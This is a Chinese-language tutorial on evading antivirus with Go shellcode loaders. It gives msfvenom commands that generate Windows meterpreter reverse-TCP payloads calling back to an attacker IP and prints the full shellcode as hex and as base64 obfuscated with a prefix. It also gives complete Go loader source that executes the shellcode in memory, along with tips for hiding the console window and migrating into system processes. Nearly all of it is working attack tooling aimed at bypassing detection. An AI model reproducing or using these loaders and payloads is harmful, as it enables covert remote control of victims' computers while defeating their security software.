1. 概述
1.1 下载
https://golang.org/dl/
1.2 使用
https://www.runoob.com/go/go-environment.html
2. Go嵌入shellcode
2.1 生成shellcode
直接使用Msf生成c语言版本的shellcode,需要生成x64位的
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.5.134 lport=1111 -f c
2.2 Shellcode格式转换
将shellcode进行格式转换,转换为以下格式:
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x56,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x41,0x51,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x04,0x57,0xc0,0xa8,0x05,0x86,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
2.3 代码
将shellcode加载到相应的代码中
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
0xfc, 0x48, ----shellcode----, 0xd5,
}
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}
嵌入shellcode后的代码如下所示:
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x56,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x41,0x51,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x04,0x57,0xc0,0xa8,0x05,0x86,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
}
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}
2.4 执行exe
2.5 免杀
使用go嵌入shellcode静态动态均可免杀。
3. Go加载器
3.1 加载器
直接通过以下链接下载:
https://github.com/brimstone/go-shellcode
下载后,进入go-shellcode\cmd\sc目录,执行go build,生成sc.exe
3.2 生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=192.168.5.134 LPORT=3333
3.3 加载shellcode
sc.exe fc4883e4f0e8cc00000041514150524831d265488b52605156488b5218488b5220488b72504d31c9480fb74a4a4831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b020f85720000008b80880000004885c074674801d050448b40208b48184901d0e3564d31c948ffc9418b34884801d64831c041c1c90dac4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b048841584801d041585e595a41584159415a4883ec204152ffe05841595a488b12e94bffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02000d05c0a8058641544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd56a0a415e50504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd585c0740a49ffce75e5e8930000004883ec104889e24d31c96a0441584889f941ba02d9c85fffd583f8007e554883c4205e89f66a404159680010000041584889f24831c941ba58a453e5ffd54889c34989c74d31c94989f04889da4889f941ba02d9c85fffd583f8007d2858415759680040000041586a005a41ba0b2f0f30ffd5575941ba756e4d61ffd549ffcee93cffffff4801c34829c64885f675b441ffe7586a005949c7c2f0b5a256ffd5
3.4 免杀
动态和静态均被杀
4. 自己写个shellcode
4.1 原因
使用上面的加载器或嵌入shellcode在某些场景下会被360云查杀干掉,所以可以自己写个shellcode加载器来加载shellcode,这里面使用田欢同学写的加载器,直接将shellcode先base64,这种容易被杀,所以在base64编码后在前面随便加两个字符,解码前先去掉这两个字符,然后再base64解码,相应的go代码详见:
生成的加载器为ysg.exe
go加载器代码为:
package main
import (
"encoding/base64"
"flag"
"fmt"
"strconv"
"strings"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
KEY_1 = 55
KEY_2 = 66
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
p := flag.String("shellcode", "xxx", "--cs生成的shellcode取其中格式如\\xzz\\xzz....的部分base64 然后在生成的base64前随便加两个字符!!!")
flag.Parse()
if *p == "xxx" {
fmt.Println("需要 -shellcode 参数 输入 --help 查看帮助")
return
}
tmp_str := *p
if len(*p)%4 == 0 {
fmt.Println("要在base64前面加两个参数!!!")
return
}
var shellcode []byte
shellcode_byte, _ := base64.StdEncoding.DecodeString(tmp_str[2:])
payload := string(shellcode_byte)
payload = strings.ReplaceAll(payload, "\\x", "")
var tmp string
var js int = 0
for i := 0; i < len(payload)/2; i = i + 1 {
tmp = payload[js : js+2]
tmp_byte, err1 := strconv.ParseInt(tmp, 16, 32)
if err1 != nil {
fmt.Println(err1.Error())
return
}
shellcode = append(shellcode, uint8(tmp_byte))
js = js + 2
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println("error------------------------------")
fmt.Println(err.Error())
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println(err.Error())
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
4.2 生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=192.168.5.134 LPORT=3333
4.3 Base64编码
将shellcode进行base64编码,
在base64编码前随便加两个字符,里面的1f是加的,解码的时候会先去掉这两个字符,然后再解码
1fZmM0ODgzZTRmMGU4Y2MwMDAwMDA0MTUxNDE1MDUyNDgzMWQyNjU0ODhiNTI2MDUxNTY0ODhiNTIxODQ4OGI1MjIwNDg4YjcyNTA0ZDMxYzk0ODBmYjc0YTRhNDgzMWMwYWMzYzYxN2MwMjJjMjA0MWMxYzkwZDQxMDFjMWUyZWQ1MjQxNTE0ODhiNTIyMDhiNDIzYzQ4MDFkMDY2ODE3ODE4MGIwMjBmODU3MjAwMDAwMDhiODA4ODAwMDAwMDQ4ODVjMDc0Njc0ODAxZDA1MDQ0OGI0MDIwOGI0ODE4NDkwMWQwZTM1NjRkMzFjOTQ4ZmZjOTQxOGIzNDg4NDgwMWQ2NDgzMWMwNDFjMWM5MGRhYzQxMDFjMTM4ZTA3NWYxNGMwMzRjMjQwODQ1MzlkMTc1ZDg1ODQ0OGI0MDI0NDkwMWQwNjY0MThiMGM0ODQ0OGI0MDFjNDkwMWQwNDE4YjA0ODg0MTU4NDgwMWQwNDE1ODVlNTk1YTQxNTg0MTU5NDE1YTQ4ODNlYzIwNDE1MmZmZTA1ODQxNTk1YTQ4OGIxMmU5NGJmZmZmZmY1ZDQ5YmU3NzczMzI1ZjMzMzIwMDAwNDE1NjQ5ODllNjQ4ODFlY2EwMDEwMDAwNDk4OWU1NDliYzAyMDAwZDA1YzBhODA1ODY0MTU0NDk4OWU0NGM4OWYxNDFiYTRjNzcyNjA3ZmZkNTRjODllYTY4MDEwMTAwMDA1OTQxYmEyOTgwNmIwMGZmZDU2YTBhNDE1ZTUwNTA0ZDMxYzk0ZDMxYzA0OGZmYzA0ODg5YzI0OGZmYzA0ODg5YzE0MWJhZWEwZmRmZTBmZmQ1NDg4OWM3NmExMDQxNTg0Yzg5ZTI0ODg5Zjk0MWJhOTlhNTc0NjFmZmQ1ODVjMDc0MGE0OWZmY2U3NWU1ZTg5MzAwMDAwMDQ4ODNlYzEwNDg4OWUyNGQzMWM5NmEwNDQxNTg0ODg5Zjk0MWJhMDJkOWM4NWZmZmQ1ODNmODAwN2U1NTQ4ODNjNDIwNWU4OWY2NmE0MDQxNTk2ODAwMTAwMDAwNDE1ODQ4ODlmMjQ4MzFjOTQxYmE1OGE0NTNlNWZmZDU0ODg5YzM0OTg5Yzc0ZDMxYzk0OTg5ZjA0ODg5ZGE0ODg5Zjk0MWJhMDJkOWM4NWZmZmQ1ODNmODAwN2QyODU4NDE1NzU5NjgwMDQwMDAwMDQxNTg2YTAwNWE0MWJhMGIyZjBmMzBmZmQ1NTc1OTQxYmE3NTZlNGQ2MWZmZDU0OWZmY2VlOTNjZmZmZmZmNDgwMWMzNDgyOWM2NDg4NWY2NzViNDQxZmZlNzU4NmEwMDU5NDljN2MyZjBiNWEyNTZmZmQ1
4.4 加载shellcode
直接使用ysg.exe -shellcode shellcode来加载
4.5 免杀
4.5.1 静态免杀
4.5.2 动态免杀
4.6 小问题
因为go写的加载器或嵌入shellcode的工具需要使用cmd执行,这个时候cmd一直要运行,否则就会掉线
解决办法”上线前配置迁移,上线就迁移到系统进程中,这样就可以关了cmd了
这里面还有一种解决方式,就是执行的时候加个命令:
go build -trimpath -ldflags="-w -s -H=windowsgui"